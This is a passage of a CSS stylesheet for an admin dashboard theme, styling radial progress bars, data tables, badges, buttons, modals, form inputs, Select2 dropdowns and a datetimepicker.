  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-50 {
  background-image: linear-gradient(270deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-55 {
  background-image: linear-gradient(288deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-60 {
  background-image: linear-gradient(306deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-65 {
  background-image: linear-gradient(324deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-70 {
  background-image: linear-gradient(342deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-75 {
  background-image: linear-gradient(360deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-80 {
  background-image: linear-gradient(378deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-85 {
  background-image: linear-gradient(396deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-90 {
  background-image: linear-gradient(414deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-95 {
  background-image: linear-gradient(432deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-100 {
  background-image: linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

/* -- Radial Purple -- */
.radial-bar-purple.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-50 {
  background-image: linear-gradient(270deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-55 {
  background-image: linear-gradient(288deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-60 {
  background-image: linear-gradient(306deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-65 {
  background-image: linear-gradient(324deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-70 {
  background-image: linear-gradient(342deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-75 {
  background-image: linear-gradient(360deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-80 {
  background-image: linear-gradient(378deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-85 {
  background-image: linear-gradient(396deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-90 {
  background-image: linear-gradient(414deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-95 {
  background-image: linear-gradient(432deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-100 {
  background-image: linear-gradient(450deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

/* -- Radial Inverse -- */
.radial-bar-inverse.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-50 {
  background-image: linear-gradient(270deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-55 {
  background-image: linear-gradient(288deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-60 {
  background-image: linear-gradient(306deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-65 {
  background-image: linear-gradient(324deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-70 {
  background-image: linear-gradient(342deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-75 {
  background-image: linear-gradient(360deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-80 {
  background-image: linear-gradient(378deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-85 {
  background-image: linear-gradient(396deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-90 {
  background-image: linear-gradient(414deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-95 {
  background-image: linear-gradient(432deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-100 {
  background-image: linear-gradient(450deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-lg {
  width: 100px;
  height: 100px;
  font-size: 20px; }

.radial-bar-lg:after,
.radial-bar-lg > img {
  width: 70px;
  height: 70px;
  margin-left: 15px;
  margin-top: 15px;
  line-height: 70px; }

.radial-bar-sm {
  width: 50px;
  height: 50px;
  font-size: 12px; }

.radial-bar-sm:after,
.radial-bar-sm > img {
  width: 35px;
  height: 35px;
  margin-left: 7.5px;
  margin-top: 7.5px;
  line-height: 35px; }

.radial-bar-xs {
  width: 30px;
  height: 30px;
  font-size: 8px; }

.radial-bar-xs:after,
.radial-bar-xs > img {
  width: 20px;
  height: 20px;
  margin-left: 5.5px;
  margin-top: 4.5px;
  line-height: 21px; }

.radial-bar {
  background-clip: content-box; }

.card .card-body .dataTables_wrapper .dataTables_scroll {
  margin-left: -20px;
  width: calc(100% + 40px); }
  .card .card-body .dataTables_wrapper .dataTables_scroll .dataTable {
    margin-left: 0px;
    width: 100%; }
.card .card-body .dataTables_wrapper .dataTable {
  margin-left: -20px;
  width: calc(100% + 40px); }
.card .card-body .dataTables_wrapper .form-control {
  border: none;
  min-height: 30px;
  background-color: #f4f4f4; }
.card .card-body .dataTables_wrapper select.form-control {
  height: 30px !important; }
.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item .page-link {
  margin-left: 5px;
  min-width: 30px;
  height: 30px;
  padding: 0;
  text-align: center;
  line-height: 30px;
  border: none;
  background-color: #f4f4f4;
  color: #212121;
  border-radius: 30px;
  -webkit-border-radius: 30px;
  -moz-border-radius: 30px; }
.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.previous .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.next .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.first .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.last .page-link {
  padding: 0 15px; }
.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.disabled .page-link {
  color: #6c757d;
  background-color: #f4f4f4;
  cursor: not-allowed; }
.card .card-table .card-item {
  border-top: 1px solid #ededed; }

.table thead {
  background-color: #f6f8fb; }
  .table thead th {
    font-weight: 600;
    color: #879099;
    font-size: 14px; }
.table tbody td {
  vertical-align: middle; }
  .table tbody td .table-user-thumb {
    width: 30px;
    height: 30px;
    border-radius: 50%; }
  .table tbody td .table-actions {
    text-align: right; }
    .table tbody td .table-actions a {
      color: #bcc1c6;
      display: inline-block;
      margin-left: 8px;
      font-size: 16px; }

.badge {
  padding: 6px 10px;
  font-size: 12px;
  font-weight: 600; }
  .badge.badge-top-left {
    top: 7px;
    right: 10px; }
  .badge.badge-top-left-2 {
    top: 40px;
    right: 10px; }

.badge-primary, .badge-success, .badge-info, .badge-warning, .badge-danger, .badge-inverse, .badge-purple, .badge-pink, .badge-twitter, .badge-facebook, .badge-linkedin, .badge-google, .badge-dribbble, .badge-instagram {
  color: #ffffff; }

.badge-theme {
  background-color: #ef4153; }

.badge-aqua {
  background-color: #3ec5d6; }

.badge-blue {
  background-color: #19B5FE; }

.badge-light-blue {
  background-color: #89CFF0; }

.badge-teal {
  background-color: #008081; }

.badge-yellow {
  background-color: #F7CA18; }

.badge-orange {
  background-color: #FF8000; }

.badge-green {
  background-color: #26C281; }

.badge-lime {
  background-color: #cad900; }

.badge-red {
  background-color: #F22613; }

.badge-fuchsia {
  background-color: #df2de3; }

.badge-navy {
  background-color: #000080; }

.badge-empty {
  background: transparent; }

.badge-primary {
  background-color: #007bff; }

.badge-success {
  background-color: #2dce89; }

.badge-info {
  background-color: #11cdef; }

.badge-warning {
  background-color: #fb6340; }

.badge-danger {
  background-color: #f5365c; }

.badge-muted {
  background-color: #6c757d; }

.badge-inverse {
  background-color: #4c5667; }

.badge-purple {
  background-color: #BF55EC; }

.badge-pink {
  background-color: #f76397; }

.badge-white {
  background-color: #ffffff; }

.btn .badge {
  padding: 2px 6px; }

.pagination .page-item {
  padding: 5px; }
  .pagination .page-item .page-link {
    outline: initial !important;
    box-shadow: none !important;
    line-height: 18px;
    min-width: 30px;
    text-align: center;
    height: 30px;
    padding: 6px 0px;
    border: none;
    background-color: #eaeaea;
    color: #3e5569;
    border-radius: 30px;
    -webkit-border-radius: 30px;
    -moz-border-radius: 30px; }
    .pagination .page-item .page-link.first, .pagination .page-item .page-link.last {
      color: #ffffff;
      background-color: #3e5569; }
  .pagination .page-item.active .page-link {
    background-color: #007bff;
    color: #ffffff; }

.btn {
  padding: 6px 14px;
  height: 30px;
  font-size: 13px;
  font-weight: 600;
  -moz-transition: 0.3s ease-in-out;
  -o-transition: 0.3s ease-in-out;
  -webkit-transition: 0.3s ease-in-out;
  transition: 0.3s ease-in-out; }
  .btn i {
    margin-right: 5px; }

.btn-icon {
  width: 30px;
  height: 30px;
  padding: 0;
  text-align: center;
  line-height: 32px;
  font-size: 14px;
  display: inline-block;
  border-radius: 50%;
  -webkit-border-radius: 50%;
  -moz-border-radius: 50%;
  -moz-transition: all 0.5s ease-in-out;
  -o-transition: all 0.5s ease-in-out;
  -webkit-transition: all 0.5s ease-in-out;
  transition: all 0.5s ease-in-out; }
  .btn-icon i {
    margin-right: 0 !important; }

.social-btn {
  width: 30px;
  height: 30px;
  padding: 0;
  border-radius: 50%;
  text-align: center;
  line-height: 30px;
  color: #ffffff; }
  .social-btn i {
    margin: 0; }

.btn-primary, .btn-success, .btn-info, .btn-warning, .btn-danger, .btn-inverse, .btn-purple, .btn-pink, .btn-twitter, .btn-facebook, .btn-linkedin, .btn-google, .btn-dribbble, .btn-instagram {
  color: #ffffff; }

.btn-theme {
  background: linear-gradient(150deg, #f05138 15%, #ee3a5b 70%, #ed1375 94%);
  color: #fff; }
.btndefault {
  background-color: #dae6ec;
  border-color: #dae6ec; }
  .btndefault:focus, .btndefault:hover, .btndefault:active, .btndefault.active {
    background-color: #dae6ec;
    border-color: #C2CED4;
    color: #ffffff !important; }
.btn-primary {
  background-color: #007bff;
  border: 1px solid #007bff; }
  .btn-primary:hover, .btn-primary:focus, .btn-primary.active {
    background-color: #006fe6;
    border: 1px solid #006fe6;
    color: #ffffff !important; }
.btn-success {
  background-color: #2dce89;
  border: 1px solid #2dce89; }
  .btn-success:hover, .btn-success:focus, .btn-success.active {
    background-color: #28b97b;
    border: 1px solid #28b97b;
    color: #ffffff !important; }
.btn-info {
  background-color: #11cdef;
  border: 1px solid #11cdef; }
  .btn-info:hover, .btn-info:focus, .btn-info.active {
    background-color: #0fb9d8;
    border: 1px solid #0fb9d8;
    color: #ffffff !important; }
.btn-warning {
  background-color: #fb6340;
  border: 1px solid #fb6340; }
  .btn-warning:hover, .btn-warning:focus, .btn-warning.active {
    background-color: #fa4f27;
    border: 1px solid #fa4f27;
    color: #ffffff !important; }
.btn-danger {
  background-color: #f5365c;
  border: 1px solid #f5365c; }
  .btn-danger:focus, .btn-danger:hover, .btn-danger.active {
    background-color: #f41e48;
    border: 1px solid #f41e48;
    color: #ffffff !important; }
.btn-inverse {
  background-color: #4c5667;
  border: 1px solid #4c5667; }
  .btn-inverse:hover, .btn-inverse:focus, .btn-inverse.active {
    background-color: #414a58;
    border: 1px solid #414a58;
    color: #ffffff !important; }
.btn-purple {
  background-color: #BF55EC;
  border: 1px solid #BF55EC; }
  .btn-purple:hover, .btn-purple:focus, .btn-purple.active {
    background-color: #b63ee9;
    border: 1px solid #b63ee9;
    color: #ffffff !important; }
.btn-pink {
  background-color: #f76397;
  border: 1px solid #f76397; }
  .btn-pink:hover, .btn-pink:focus, .btn-pink.active {
    background-color: #f64b87;
    border: 1px solid #f64b87;
    color: #ffffff !important; }
.btn-facebook {
  background: #3b579d; }
.btn-twitter {
  background: #1da1f2; }
.btn-dribbble {
  background: #ea4c89; }
.btn-linkedin {
  background: #0177b4; }
.btn-google {
  background: #dc4a38; }
.btn-instagram {
  background: #fb3958; }

.template-demo .btn {
  margin-right: 10px;
  margin-bottom: 10px; }

.btn-group .btn {
  margin: 0; }

.full-window-modal .modal-dialog {
  position: fixed;
  width: 100%;
  height: 100%;
  margin: 0;
  max-width: 100%;
  left: 0;
  top: 0;
  bottom: 0;
  display: block; }
  .full-window-modal .modal-dialog .modal-content {
    height: 100vh;
    border: none;
    border-radius: 0;
    -webkit-border-radius: 0;
    -moz-border-radius: 0; }
    .full-window-modal .modal-dialog .modal-content .modal-body {
      height: calc(100vh - 50px);
      overflow-x: auto; }
    .full-window-modal .modal-dialog .modal-content .modal-footer {
      background-color: #393a3d;
      padding: 15px 24px;
      padding-top: 15px !important; }

.modal-open .apps-modal {
  overflow: hidden; }
  .modal-open .apps-modal .close {
    position: absolute;
    top: 20px;
    right: 20px;
    text-shadow: none;
    z-index: 9; }
  .modal-open .apps-modal .modal-dialog {
    width: 100%;
    max-width: 100%;
    border-radius: 0;
    margin: 0; }
    .modal-open .apps-modal .modal-dialog .modal-content {
      border: none;
      border-radius: 0;
      min-height: 100vh;
      background-color: #ffffff; }
      .modal-open .apps-modal .modal-dialog .modal-content .quick-search {
        position: absolute;
        width: 100%;
        top: 17px;
        padding: 0 50px;
        z-index: 9; }
        .modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap {
          position: relative; }
          .modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap i {
            position: absolute;
            right: 5px;
            top: 0;
            width: 30px;
            height: 35px;
            border-radius: 50%;
            line-height: 35px;
            text-align: center; }
      .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap {
        display: -webkit-box;
        display: -moz-box;
        display: -ms-flexbox;
        display: -webkit-flex;
        display: flex;
        -webkit-flex-flow: row wrap;
        -moz-flex-flow: row wrap;
        -ms-flex-flow: row wrap;
        flex-flow: row wrap;
        -webkit-justify-content: center;
        -moz-justify-content: center;
        -ms-justify-content: center;
        justify-content: center;
        -ms-flex-pack: center;
        width: 100%; }
        .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item {
          width: 130px;
          height: 100px;
          margin: 10px;
          color: #ccc;
          text-align: center;
          display: -webkit-box;
          display: -moz-box;
          display: -ms-flexbox;
          display: -webkit-flex;
          display: flex;
          -webkit-align-items: center;
          -moz-align-items: center;
          -ms-align-items: center;
          align-items: center;
          -webkit-justify-content: center;
          -moz-justify-content: center;
          -ms-justify-content: center;
          justify-content: center;
          -ms-flex-pack: center; }
          .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a {
            display: inline-block; }
            .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a i {
              font-size: 40px;
              color: #3e5569;
              display: inline-block;
              margin-bottom: 10px;
              -moz-transition: all 0.3s ease 0s;
              -o-transition: all 0.3s ease 0s;
              -webkit-transition: all 0.3s ease 0s;
              transition: all 0.3s ease 0s; }
            .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a span {
              display: block;
              font-size: 14px;
              color: #3e5569; }
          .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item:hover i {
            color: #ef4153; }
  .modal-open .apps-modal.fade .modal-dialog {
    overflow: hidden;
    -moz-transform: translate(0, 0) scale(1.2);
    -o-transform: translate(0, 0) scale(1.2);
    -ms-transform: translate(0, 0) scale(1.2);
    -webkit-transform: translate(0, 0) scale(1.2);
    transform: translate(0, 0) scale(1.2); }
  .modal-open .apps-modal.fade.show .modal-dialog {
    -moz-transform: translate(0, 0) scale(1);
    -o-transform: translate(0, 0) scale(1);
    -ms-transform: translate(0, 0) scale(1);
    -webkit-transform: translate(0, 0) scale(1);
    transform: translate(0, 0) scale(1); }

.form-group {
  margin-bottom: 1.25em; }
  .form-group .form-control-lg {
    font-size: 1.25em; }
  .form-group .form-control-round {
    border-radius: 50px; }
  .form-group .form-control-static:focus {
    outline: none; }

.form-control {
  height: auto;
  min-height: 35px;
  border: 1px solid #eaeaea;
  padding: 0 10px;
  background-color: #fff;
  font-size: 13px;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }
  .form-control.placeholder {
    color: #999999; }
  .form-control:-moz-placeholder {
    color: #999999; }
  .form-control::-moz-placeholder {
    color: #999999; }
  .form-control:-ms-input-placeholder {
    color: #999999; }
  .form-control::-webkit-input-placeholder {
    color: #999999; }
  .form-control:focus {
    border-color: #e2dfdf;
    -webkit-box-shadow: none;
    box-shadow: none; }
  .form-control.form-control-normal {
    font-weight: 400; }
  .form-control.form-control-bold {
    font-weight: 700; }
  .form-control.form-control-capitalize {
    text-transform: capitalize; }
  .form-control.form-control-uppercase {
    text-transform: uppercase; }
  .form-control.form-control-lowercase {
    text-transform: lowercase; }
  .form-control.form-control-variant {
    font-variant: small-caps; }
  .form-control.form-control-left {
    text-align: left; }
  .form-control.form-control-center {
    text-align: center; }
  .form-control.form-control-right {
    text-align: right; }
  .form-control.form-control-rtl {
    direction: rtl; }
  .form-control:disabled {
    cursor: not-allowed;
    opacity: 0.5; }

select.form-control {
  -webkit-appearance: none;
  -moz-appearance: none;
  appearance: none;
  padding-right: 20px;
  background-image: url("../img/down-arrow.svg");
  background-position: center right 15px;
  background-repeat: no-repeat;
  -webkit-background-size: 10px;
  background-size: 10px;
  height: 35px !important; }

textarea.form-control {
  padding: 10px 15px;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }

.custom-radio .custom-control-label {
  line-height: 24px; }

.custom-checkbox .custom-control-label {
  line-height: 24px; }
.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after {
  background-image: none;
  content: "\e83f";
  line-height: 16px;
  font-family: 'iconkit';
  color: #fff; }

.custom-control-label {
  text-align: center; }

.input-group .input-group-prepend .input-group-text {
  border-top-left-radius: 4px;
  border-bottom-left-radius: 4px;
  background-color: #eaeaea;
  border-color: #eaeaea;
  padding-left: 15px;
  height: 35px;
  font-size: 14px; }
.input-group .input-group-prepend .btn {
  height: 35px;
  border-top-left-radius: 4px;
  border-bottom-left-radius: 4px; }
.input-group .input-group-append .input-group-text {
  border-top-right-radius: 4px;
  border-bottom-right-radius: 4px;
  background-color: #eaeaea;
  border-color: #eaeaea;
  padding-right: 15px;
  height: 35px;
  font-size: 14px; }
.input-group .input-group-append .btn {
  height: 35px;
  border-top-right-radius: 4px;
  border-bottom-right-radius: 4px; }

.form-group .file-upload-default {
  visibility: hidden;
  position: absolute; }
.form-group .file-upload-info {
  background: transparent; }

.select2.select2-container--default .select2-selection--single {
  border-color: #eaeaea;
  height: 35px;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }
  .select2.select2-container--default .select2-selection--single .select2-selection__rendered {
    line-height: 35px;
    padding-left: 15px;
    padding-right: 30px; }
  .select2.select2-container--default .select2-selection--single .select2-selection__arrow {
    height: 33px;
    right: 8px; }
.select2.select2-container--default .select2-selection--multiple {
  border-color: #eaeaea; }
  .select2.select2-container--default .select2-selection--multiple .select2-selection__rendered {
    margin-top: 1px; }
    .select2.select2-container--default .select2-selection--multiple .select2-selection__rendered .select2-selection__choice {
      border: none;
      padding: 1px 5px; }
.select2.select2-container--default.select2-container--focus .select2-selection--multiple {
  border-color: #8e8e8e; }
.select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple {
  border-bottom-left-radius: 4px;
  border-bottom-right-radius: 4px; }
.select2.select2-container .select2-selection--multiple {
  min-height: 35px; }

.select2-container--default .select2-dropdown {
  background-color: #ffffff;
  border: none;
  border-radius: 6px;
  -webkit-border-radius: 6px;
  -moz-border-radius: 6px;
  -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
  -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
  box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); }
  .select2-container--default .select2-dropdown .select2-search--dropdown {
    padding: 5px; }
    .select2-container--default .select2-dropdown .select2-search--dropdown .select2-search__field {
      height: 30px;
      border: none;
      background-color: #eaeaea;
      padding: 5px 10px;
      border-radius: 4px;
      -webkit-border-radius: 4px;
      -moz-border-radius: 4px; }
  .select2-container--default .select2-dropdown .select2-results .select2-results__options {
    padding: 5px; }

.select2-results__option {
  background-color: #fff;
  padding: 8px 15px;
  border-radius: 4px;
  line-height: 14px; }

.bootstrap-datetimepicker-widget .table thead {
  background-color: transparent; }
  .bootstrap-datetimepicker-widget .table thead tr th {
    color: #212121;
    border-radius: 6px;
    -webkit-border-radius: 6px;
    -moz-border-radius: 6px; }
.bootstrap-datetimepicker-widget .table tr td, .bootstrap-datetimepicker-widget .table tr th {
  text-align: center;
  width: 35px;
  height: 35px;
  border-radius: 50%;
  border: none;
  line-height: 35px;
  position: relative;
  z-index: 1; }
.bootstrap-datetimepicker-widget .table tr td.today, .bootstrap-datetimepicker-widget .table tr td.active {
  color: #ffffff;
  position: relative;
  z-index: 1;
  background-color: transparent;
  text-shadow: none; }
  .bootstrap-datetimepicker-widget .table tr td.today:before, .bootstrap-datetimepicker-widget .table tr td.today::before, .bootstrap-datetimepicker-widget .table tr td.active:before, .bootstrap-datetimepicker-widget .table tr td.active::before {
    width: 30px;
    height: 30px;
    border-radius: 50%;
    border: none;
    background-color: #4a5361;
    position: absolute;
    z-index: -1;
    display: block;
    margin: auto;
    content: '';
    top: 6px;
    left: 0px;
    right: 0px;
    bottom: auto;
    -moz-transform: scale(1);
    -o-transform: scale(1);
    -ms-transform: scale(1);
    -webkit-transform: scale(1);
    transform: scale(1); }
.bootstrap-datetimepicker-widget .table tr td.active:hover:before, .bootstrap-datetimepicker-widget .table tr td.active:hover::before {
  background-color: #4a5361 !important; }
.bootstrap-datetimepicker-widget .table tr td.today:before, .bootstrap-datetimepicker-widget .table tr td.today::before {
  background-color: #ef4153; }
.bootstrap-datetimepicker-widget .table tr td.day:hover, .bootstrap-datetimepicker-widget .table tr td.hour:hover, .bootstrap-datetimepicker-widget .table tr td.minute:hover, .bootstrap-datetimepicker-widget .table tr td.second:hover {
  background-color: transparent; }
.bootstrap-datetimepicker-widget .table tr td:before, .bootstrap-datetimepicker-widget .table tr td::before {
  width: 30px;
  height: 30px;
  border-radius: 50%;
  border: none;
  background-color: transparent;
  position: absolute;
  z-index: -1;
  display: block;
  margin: auto;
  content: '';
  top: 6px;
  left: 0px;
  right: 0px;
  bottom: auto;
  -moz-transform: scale(0);
  -o-transform: scale(0);
  -ms-transform: scale(0);
  -webkit-transform: scale(0);
  transform: scale(0);
  -moz-transition: 0.3s ease-in-out;
  -o-transition: 0.3s ease-in-out;
  -webkit-transition: 0.3s ease-in-out;
  transition: 0.3s ease-in-out; }
.bootstrap-datetimepicker-widget .table tr td:hover:before, .bootstrap-datetimepicker-widget .table tr td:hover::before {
  background-color: #f4f4f4;
  -moz-transform: scale(1);
  -o-transform: scale(1);
  -ms-transform: scale(1);
  -webkit-transform: scale(1);
  transform: scale(1); }
.bootstrap-datetimepicker-widget .timepicker table td {
  position: relative;
  z-index: 1;
  width: 35px;
  height: 35px;
  line-height: 35px; }
  .bootstrap-datetimepicker-widget .timepicker table td .btn {
    height: auto; }
